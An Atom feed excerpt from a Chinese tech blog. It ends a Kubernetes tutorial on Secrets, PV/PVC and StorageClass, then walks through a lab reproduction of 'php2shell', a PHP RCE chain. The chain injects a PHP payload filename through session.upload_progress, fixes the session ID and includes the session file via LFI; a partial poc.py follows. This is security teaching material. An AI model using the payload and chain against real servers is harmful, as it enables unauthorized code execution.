class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">webapp</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">webapp</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">webapp</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">webapp</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">nginx:latest</span></span><br><span class="line">          <span class="attr">env:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">DB_USER</span></span><br><span class="line">              <span class="attr">valueFrom:</span></span><br><span class="line">                <span class="attr">secretKeyRef:</span></span><br><span class="line">                  <span class="attr">name:</span> <span class="string">db-credentials</span></span><br><span class="line">                  <span class="attr">key:</span> <span class="string">username</span></span><br><span class="line">          <span class="attr">envFrom:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">secretRef:</span></span><br><span class="line">                <span class="attr">name:</span> <span class="string">db-credentials</span></span><br><span class="line">          <span class="attr">volumeMounts:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">db-credentials</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/etc/db-credentials</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">db-credentials</span></span><br><span class="line">          <span class="attr">secret:</span></span><br><span class="line">            <span class="attr">secretName:</span> <span class="string">db-credentials</span></span><br></pre></td></tr></tbody></table></figure><h3 id="几种常见的-Secret-类型"><a href="#几种常见的-Secret-类型" class="headerlink" title="几种常见的 Secret 类型"></a>几种常见的 Secret 类型</h3><table><thead><tr><th align="left">type</th><th align="left">用途</th></tr></thead><tbody><tr><td align="left"><code>Opaque</code></td><td align="left">通用，默认类型，存任意键值对</td></tr><tr><td align="left"><code>kubernetes.io/dockerconfigjson</code></td><td align="left">拉私有镜像仓库的凭证（imagePullSecrets）</td></tr><tr><td align="left"><code>kubernetes.io/tls</code></td><td align="left">TLS 证书 + 私钥（Ingress 用）</td></tr><tr><td align="left"><code>kubernetes.io/service-account-token</code></td><td align="left">ServiceAccount 的 token</td></tr><tr><td align="left"><code>kubernetes.io/basic-auth</code> / <code>ssh-auth</code></td><td align="left">基础认证 / SSH 密钥</td></tr></tbody></table><h3 id="如何使用-1"><a href="#如何使用-1" class="headerlink" title="如何使用"></a>如何使用</h3><p>前三种和configmap一样，额外多了一种</p><p><strong>拉私有镜像</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">imagePullSecrets:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">regcred</span></span><br></pre></td></tr></tbody></table></figure><h2 id="和相邻概念的关系"><a href="#和相邻概念的关系" class="headerlink" title="和相邻概念的关系"></a>和相邻概念的关系</h2><table><thead><tr><th align="left">资源</th><th align="left">存什么</th><th align="left">特点</th></tr></thead><tbody><tr><td align="left"><strong>ConfigMap</strong></td><td align="left">非机密配置</td><td align="left">明文，可挂文件或环境变量</td></tr><tr><td align="left"><strong>Secret</strong></td><td align="left">密码、token、证书</td><td align="left">base64 编码（非加密），用法和 ConfigMap 几乎一样</td></tr><tr><td align="left"><strong>Volume</strong></td><td align="left">持久化数据</td><td align="left">ConfigMap 可以作为 Volume 的一种来源</td></tr></tbody></table><h2 id="pv-pvc"><a href="#pv-pvc" class="headerlink" title="pv-pvc"></a>pv-pvc</h2><blockquote><p>Pod 默认是无状态的，容器里的文件随 Pod 删除而消失。如果数据库、日志、上传文件要持久保存，就需要把存储挂进 Pod。但直接让 Pod 写“用某个 NFS 目录”有两个问题：一是不同环境存储实现不同（本地盘、EBS、NFS、Ceph），二是应用开发者不该关心底层用什么存储。</p><p>于是 K8s 把存储拆成两层：<strong>集群管理员准备 PV（提供方），应用声明 PVC（使用方），由 K8s 把两者匹配起来</strong>。这就是“存储与计算解耦”。</p></blockquote><p>PV（PersistentVolume）和 PVC（PersistentVolumeClaim）是 Kubernetes 解决<strong>持久化存储</strong>的一对核心概念。理解它们的关键在于一个比喻：<strong>PV 是“仓库里的储物柜”，PVC 是“你要租储物柜的申请单”</strong>。</p><p><img src="/Cloud-Security/CloudNative_learn4/CloudNative_learn4.assets/1280X1280.PNG" alt="1280X1280" loading="eager" decoding="async"></p><h3 id="pv"><a href="#pv" class="headerlink" title="pv"></a>pv</h3><p>PV 是<strong>集群管理员</strong>视角的资源，代表一块真实的、可用的存储。它不属于任何命名空间，是集群级对象。它描述“这里有一块 100Gi 的 EBS 卷，读写模式是 ReadWriteOnce”。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolume</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pv-ebs-001</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">capacity:</span><span class="comment">#容量</span></span><br><span class="line">    <span class="attr">storage:</span> <span class="string">100Gi</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">  <span class="attr">persistentVolumeReclaimPolicy:</span> <span class="string">Retain</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">standard</span></span><br><span class="line">  <span class="attr">awsElasticBlockStore:</span>      <span class="comment"># 具体存储实现</span></span><br><span class="line">    <span class="attr">volumeID:</span> <span class="string">vol-0abc123</span></span><br><span class="line">    <span class="attr">fsType:</span> <span class="string">ext4</span></span><br></pre></td></tr></tbody></table></figure><ul><li><code>capacity</code>：容量</li><li><code>accessModes</code>：访问模式（下面详述）</li><li><code>persistentVolumeReclaimPolicy</code>：回收策略，<code>Retain</code>（保留）、<code>Delete</code>（删除）、<code>Recycle</code>（已废弃）</li><li><code>storageClassName</code>：存储类，用于和 PVC 匹配</li><li>存储实现：<code>awsElasticBlockStore</code>、<code>nfs</code>、<code>hostPath</code>、<code>csi</code> 等</li></ul><h3 id="pvc"><a href="#pvc" class="headerlink" title="pvc"></a>pvc</h3><p>PVC 是<strong>应用开发者</strong>视角的资源，属于某个命名空间。开发者不关心底层是什么存储，只声明“我要 50Gi、可读写、用 standard 这个类”。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolumeClaim</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mysql-data</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">    <span class="attr">requests:</span></span><br><span class="line">      <span class="attr">storage:</span> <span class="string">50Gi</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">standard</span></span><br></pre></td></tr></tbody></table></figure><h3 id="绑定过程"><a href="#绑定过程" class="headerlink" title="绑定过程"></a>绑定过程</h3><p>K8s 会找一个满足 PVC 要求的 PV，把两者<strong>绑定（Bind）</strong>。绑定后：</p><ul><li>PVC 状态从 <code>Pending</code> 变成 <code>Bound</code></li><li>Pod 通过 PVC 名引用存储，不直接碰 PV</li><li>一个 PV 只能绑定一个 PVC，一对一</li></ul><p>匹配条件包括：容量 ≥ 请求、accessModes 兼容、storageClassName 相同。如果找不到，PVC 一直 <code>Pending</code>。</p><h3 id="两种供给模式：静态-vs-动态"><a href="#两种供给模式：静态-vs-动态" class="headerlink" title="两种供给模式：静态 vs 动态"></a>两种供给模式：静态 vs 动态</h3><p><strong>静态供给</strong>：管理员手动创建 PV，PVC 来匹配。适合存储资源有限、需要精细控制的场景，但管理麻烦。</p><p><strong>动态供给</strong>（更常用）：管理员只创建 <strong>StorageClass</strong>（存储类），不手动建 PV。PVC 声明 <code>storageClassName</code> 后，K8s 通过 <strong>CSI 驱动</strong>自动调用云 API 创建一块存储（比如在 AWS 上自动建一个 EBS 卷），并自动生成对应的 PV。PVC 删除时按回收策略自动清理。</p><h3 id="访问模式（accessModes）"><a href="#访问模式（accessModes）" class="headerlink" title="访问模式（accessModes）"></a>访问模式（accessModes）</h3><p>这是常混淆的点，它描述的是<strong>挂载能力</strong>，不是文件系统权限：</p><table><thead><tr><th align="left">模式</th><th align="left">缩写</th><th align="left">含义</th></tr></thead><tbody><tr><td align="left">ReadWriteOnce</td><td align="left">RWO</td><td align="left">只能被<strong>单个节点</strong>读写挂载（同节点多 Pod 可共享）</td></tr><tr><td align="left">ReadOnlyMany</td><td align="left">ROX</td><td align="left">多个节点只读挂载</td></tr><tr><td align="left">ReadWriteMany</td><td align="left">RWX</td><td align="left">多个节点读写挂载（需要 NFS/CephFS 等支持）</td></tr><tr><td align="left">ReadWriteOncePod</td><td align="left">RWOP</td><td align="left">只能被<strong>单个 Pod</strong> 读写（更严格，1.22+）</td></tr></tbody></table><h2 id="StorageClass"><a href="#StorageClass" class="headerlink" title="StorageClass"></a>StorageClass</h2><p>StorageClass 是 PV/PVC 体系里“<strong>自动造存储的模板</strong>”。上一轮提到动态供给，核心就是这个对象：管理员不用手动建一个个 PV，只需定义一个 StorageClass，PVC 一申请，K8s 就按这个模板自动调云 API 创建存储并生成 PV。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">storage.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StorageClass</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">fast-ssd</span></span><br><span class="line"><span class="attr">provisioner:</span> <span class="string">ebs.csi.aws.com</span>        <span class="comment"># 用哪个 CSI 驱动</span></span><br><span class="line"><span class="attr">parameters:</span>                          <span class="comment"># 传给驱动的参数</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">gp3</span></span><br><span class="line">  <span class="attr">iops:</span> <span class="string">"3000"</span></span><br><span class="line">  <span class="attr">throughput:</span> <span class="string">"125"</span></span><br><span class="line"><span class="attr">reclaimPolicy:</span> <span class="string">Delete</span>                <span class="comment"># 默认 Delete</span></span><br><span class="line"><span class="attr">volumeBindingMode:</span> <span class="string">WaitForFirstConsumer</span></span><br><span class="line"><span class="attr">allowVolumeExpansion:</span> <span class="literal">true</span>           <span class="comment"># 允许扩容 PVC</span></span><br></pre></td></tr></tbody></table></figure><ul><li><strong>provisioner</strong>：谁负责创建存储。云上一般是 CSI 驱动，比如 <code>ebs.csi.aws.com</code>、<code>efs.csi.aws.com</code>、<code>pd.csi.storage.gke.io</code>。这是 StorageClass 的灵魂，决定“调用哪家 API”。</li><li><strong>parameters</strong>：驱动专属参数，不同云不同。AWS EBS 可指定 <code>type</code>（gp2/gp3/io2）、<code>iops</code>、<code>encrypted</code>、<code>kmsKeyId</code> 等。</li><li><strong>reclaimPolicy</strong>：PVC 删除后底层存储怎么办。<code>Delete</code> 自动删（动态供给默认），<code>Retain</code> 保留。</li><li><strong>volumeBindingMode</strong>：<code>Immediate</code>（PVC 一创建就建存储）或 <code>WaitForFirstConsumer</code>（等 Pod 调度后再建）。云上几乎都用后者，原因见下。</li><li><strong>allowVolumeExpansion</strong>：是否允许后来扩大 PVC 容量。</li></ul><h3 id="pvc如何使用"><a href="#pvc如何使用" class="headerlink" title="pvc如何使用"></a>pvc如何使用</h3><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolumeClaim</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mysql-data</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">accessModes:</span> [<span class="string">ReadWriteOnce</span>]</span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">fast-ssd</span>      <span class="comment"># 指定模板</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">    <span class="attr">requests:</span></span><br><span class="line">      <span class="attr">storage:</span> <span class="string">50Gi</span></span><br></pre></td></tr></tbody></table></figure><p>指定后，K8s 就按 <code>fast-ssd</code> 的 provisioner 和 parameters 去创建存储，生成一个 PV 并自动绑定。PVC 和 PV 的 <code>storageClassName</code> 必须一致才能绑。</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/CloudNative_learn4/</id>
    <link href="https://blog.btop251.top/Cloud-Security/CloudNative_learn4/"/>
    <published>2026-10-22T16:00:00.000Z</published>
    <summary>
      <![CDATA[<html><head></head><body></body></html>]]>
    </summary>
    <title>云原生学习04-服务、网络与存储资源</title>
    <updated>2026-10-22T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="CTF" scheme="https://blog.btop251.top/categories/CTF/"/>
    <category term="CTF" scheme="https://blog.btop251.top/tags/CTF/"/>
    <category term="php" scheme="https://blog.btop251.top/tags/php/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="php2shell复现"><a href="#php2shell复现" class="headerlink" title="php2shell复现"></a>php2shell复现</h1><blockquote><p>就在昨天，三名印籍俄裔黑客安东·尤丁采夫、尼基塔·布亚诺夫、维亚切斯拉夫·巴兰尼科夫发布两个php的rce漏洞，8个nodejs漏洞，还有用一个字符串作为中间证书的私钥，造成严重的ca泄露引发go rust等语言的安全问题，安全圈引发剧烈地震</p></blockquote><p><img src="/CTF/php2shell/php2shell.assets/8bfb4e05da9f5ef535e1036b76036e1e.jpg" alt="8bfb4e05da9f5ef535e1036b76036e1e" loading="eager" decoding="async"></p><table><thead><tr><th>项目</th><th>内容</th></tr></thead><tbody><tr><td>漏洞名</td><td>php2shell</td></tr><tr><td>CVE</td><td>CVE-2026-109618、CVE-2026-109619</td></tr><tr><td>类型</td><td>无需认证（pre-auth）的远程代码执行（RCE）</td></tr><tr><td>评分</td><td>CVSS 4.0 <strong>9.2（严重）</strong></td></tr><tr><td>影响版本</td><td>PHP <strong>5.4.0 ~ 8.5.11</strong></td></tr><tr><td>修复版本</td><td>8.2.35 / 8.3.36 / 8.4.27 / 8.5.12（2026-10-21 发布）</td></tr><tr><td>根因位置</td><td>PHP 核心的 <code>session.upload_progress</code> 处理器</td></tr></tbody></table><p>在github上找到一个这两个漏洞的复现靶场</p><p><a href="https://github.com/kuwoo/php2shell-Lab">kuwoo/php2shell-Lab: 🐘 php2shell（CVE-2026-109618 / CVE-2026-109619）复现靶场 — session.upload_progress 文件名注入 + LFI → RCE，Docker 一键启动，附中文原理分析与 PoC</a></p><blockquote><p>克劳德大人的恩情还不完</p></blockquote><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/kuwoo/php2shell-Lab.git</span><br><span class="line"><span class="built_in">cd</span> php2shell-Lab</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 构建并启动靶场（唯一的服务，8082 端口）</span></span><br><span class="line">docker compose up -d --build</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 运行 PoC（默认跑「展示载荷」，一次证明命令执行 + 身份 + 系统信息 + 读文件）</span></span><br><span class="line">python poc.py --target http://localhost:8082</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 只跑一条自定义命令</span></span><br><span class="line">python poc.py --target http://localhost:8082 --cmd <span class="string">"id"</span></span><br></pre></td></tr></tbody></table></figure><p><img src="/CTF/php2shell/php2shell.assets/image-20261022224820563.png" alt="image-20261022224820563" loading="lazy" decoding="async"></p><p>ohhhh，怎么直接实现了，我好像什么都没有做</p><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><h3 id="PHP-会话是怎么存文件的"><a href="#PHP-会话是怎么存文件的" class="headerlink" title="PHP 会话是怎么存文件的"></a>PHP 会话是怎么存文件的</h3><p>PHP 默用文件保存会话。假设会话 ID 是 <code>abc123</code>，默认配置下会话数据存在：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/tmp/sessions/sess_abc123</span><br></pre></td></tr></tbody></table></figure><p>文件内容是 <code>键名|序列化数据</code>，例如：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">login_user|s:5:"admin";csrf_token|s:32:"...";</span><br></pre></td></tr></tbody></table></figure><p>关键点：<strong>这个文件是普通文本文件</strong>。只要你知道会话 ID，就能拼出它的完整路径。</p><h3 id="session-upload-progress-是干嘛的"><a href="#session-upload-progress-是干嘛的" class="headerlink" title="session.upload_progress 是干嘛的"></a><code>session.upload_progress</code> 是干嘛的</h3><p>从 PHP 5.4 开始，PHP 内置了「上传进度」功能（默认开启）：</p><ul><li>当收到一个 multipart 表单上传时，PHP 会在会话里记录上传进度；</li><li>前端可以轮询这个进度来显示进度条。</li></ul><p>它往会话里写的数据长这样（简化）：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">upload_progress_&lt;名字&gt;|a:5:{</span><br><span class="line">    start_time; content_length; bytes_processed; done;</span><br><span class="line">    files: [ { field_name, name, tmp_name, error, ... } ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>其中：</p><ul><li><code>upload_progress_&lt;名字&gt;</code> 里的「名字」来自表单里的 <code>PHP_SESSION_UPLOAD_PROGRESS</code> 字段；</li><li><code>files[].name</code> 就是<strong>你上传文件的原始文件名</strong>。</li></ul><hr><h2 id="漏洞根因"><a href="#漏洞根因" class="headerlink" title="漏洞根因"></a>漏洞根因</h2><p>一句话：</p><blockquote><p><strong>PHP 把「上传文件的文件名」当成普通文本，原样写进了会话文件，没有做任何过滤。</strong></p></blockquote><p>而会话文件是 PHP 会去解析执行的普通文本。于是：</p><ul><li>如果文件名是 <code>shell.php</code>，没事；</li><li>如果文件名是 <code>&lt;?php system('id'); ?&gt;</code>，这段 PHP 代码就被原样写进了会话文件。</li></ul><p>一旦有办法让 PHP 去「执行」这个会话文件（比如应用存在 LFI 并 include 了它），里面的 <code>&lt;?php ... ?&gt;</code> 就会被当成 PHP 代码执行 → <strong>远程代码执行</strong>。</p><p>这解释了为什么叫 <strong>php2shell</strong>：把 php 会话文件变成一个 shell。</p><p>正常情况下 PHP 只从 <strong>Cookie</strong> 里取会话 ID（<code>session.use_only_cookies=1</code>，这是默认且是安全配置）。攻击者没法给受害者设 Cookie，似乎就固定不了会话 ID。</p><p>但 php2shell 的一个关键点是：<strong><code>session.upload_progress</code> 处理器会接受 POST body 里直接传的 <code>PHPSESSID</code></strong>，从而绕过 <code>use_only_cookies</code>。</p><p>效果就是<strong>会话固定（session fixation）</strong>：</p><ul><li>攻击者在请求 body 里写 <code>PHPSESSID=abc123</code>；</li><li>PHP 用 <code>abc123</code> 作为会话 ID 写进度；</li><li>攻击者<strong>提前知道</strong>会话文件路径就是 <code>/tmp/sessions/sess_abc123</code>；</li><li>于是可以直接用 LFI 去包含它。</li></ul><p><code>poc.py</code> 里为了稳妥，body 和 Cookie <strong>都</strong>带了同一个 <code>PHPSESSID</code>（双保险）。</p><hr><h2 id="关键细节一：PHPSESSID-绕过-use-only-cookie"><a href="#关键细节一：PHPSESSID-绕过-use-only-cookie" class="headerlink" title="关键细节一：PHPSESSID 绕过 use_only_cookie"></a>关键细节一：PHPSESSID 绕过 use_only_cookie</h2><p>正常情况下 PHP 只从 <strong>Cookie</strong> 里取会话 ID（<code>session.use_only_cookies=1</code>，这是默认且是安全配置）。攻击者没法给受害者设 Cookie，似乎就固定不了会话 ID。</p><p>但 php2shell 的一个关键点是：<strong><code>session.upload_progress</code> 处理器会接受 POST body 里直接传的 <code>PHPSESSID</code></strong>，从而绕过 <code>use_only_cookies</code>。</p><p>效果就是<strong>会话固定（session fixation）</strong>：</p><ul><li>攻击者在请求 body 里写 <code>PHPSESSID=abc123</code>；</li><li>PHP 用 <code>abc123</code> 作为会话 ID 写进度；</li><li>攻击者<strong>提前知道</strong>会话文件路径就是 <code>/tmp/sessions/sess_abc123</code>；</li><li>于是可以直接用 LFI 去包含它。</li></ul><p><code>poc.py</code> 里为了稳妥，body 和 Cookie <strong>都</strong>带了同一个 <code>PHPSESSID</code>（双保险）。</p><h2 id="关键细节二：cleanup-与竞态窗口"><a href="#关键细节二：cleanup-与竞态窗口" class="headerlink" title="关键细节二：cleanup 与竞态窗口"></a>关键细节二：cleanup 与竞态窗口</h2><p><code>session.upload_progress.cleanup</code> 控制「上传结束后要不要清掉进度数据」：</p><ul><li><strong>默认 <code>cleanup=On</code></strong>：上传一结束，PHP 就把 <code>upload_progress_*</code> 这段从会话里删掉。也就是说注入是<strong>转瞬即逝</strong>的。</li><li>真实攻击者怎么应对？<strong>打竞态</strong>：传一个很大的文件（上传慢），在文件还在上传、进度数据还没被清理的窗口里，用<strong>并发请求</strong>去包含会话文件。</li></ul><p>本靶场为了让你<strong>每次都能确定性成功</strong>，把 <code>cleanup</code> 设成了 <code>Off</code>（见 <code>php.ini</code>），这样注入会一直留在会话文件里，不用打竞态。原理和真实攻击完全一致，只是把「需要竞争」简化成了「必然命中」。</p><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">Chain A 演示：session.upload_progress 文件名注入 + LFI → RCE</span></span><br><span class="line"><span class="string">对应 CVE-2026-109618 / 109619 的第一条攻击链（参考 ikow/php2shell-poc）。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">流程：</span></span><br><span class="line"><span class="string">  1. multipart POST：用 body 里的 PHPSESSID 固定会话 ID（绕过 use_only_cookies），</span></span><br><span class="line"><span class="string">     并在上传文件名里塞 PHP 代码；</span></span><br><span class="line"><span class="string">  2. PHP 的 upload_progress 把文件名原样写进会话文件 /tmp/sessions/sess_&lt;id&gt;；</span></span><br><span class="line"><span class="string">  3. 用目标站的 LFI 包含该会话文件 → 执行注入的 PHP → 命令执行。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">端口：</span></span><br><span class="line"><span class="string">  8082 → php2shell（Apache 以 www-data 运行）→ RCE 得到 www-data</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">用法：</span></span><br><span class="line"><span class="string">  python poc.py --target http://localhost:8082                 # 默认跑「展示载荷」</span></span><br><span class="line"><span class="string">  python poc.py --target http://localhost:8082 --cmd "id"      # 只跑一条自定义命令</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">说明：</span></span><br><span class="line"><span class="string">  - php2shell 本身给的是 web 运行用户（通常是 www-data），不直接给 root；</span></span><br><span class="line"><span class="string">    从 www-data 到 root 需要额外的本地提权，不在本靶场范围（见 docs/原理分析.md）。</span></span><br><span class="line"><span class="string">  - 默认载荷用 PHP_EOL 输出换行，在「终端」里看最清楚；</span></span><br><span class="line"><span class="string">    想在「浏览器」里看换行，把 PHP_EOL 换成 '&lt;br&gt;'，或用 &lt;pre&gt; 包住输出（见 docs/操作手册.md）。</span></span><br><span class="line"><span class="string">  - 仅用于本地靶场 / 授权测试。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">（English / 英文）</span></span><br><span class="line"><span class="string">Chain A demo: session.upload_progress filename injection + LFI → RCE.</span></span><br><span class="line"><span class="string">CVE-2026-109618 / 109619, first chain (based on ikow/php2shell-poc).</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  python poc.py --target http://localhost:8082                 # showcase payload</span></span><br><span class="line"><span class="string">  python poc.py --target http://localhost:8082 --cmd "id"      # one custom command</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  - php2shell gives the web user (usually www-data), not root; going to root</span></span><br><span class="line"><span class="string">    needs a separate local privilege escalation (see docs/analysis-en.md).</span></span><br><span class="line"><span class="string">  - Local lab / authorized testing only.</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> urllib.parse</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"></span><br><span class="line"><span class="comment"># 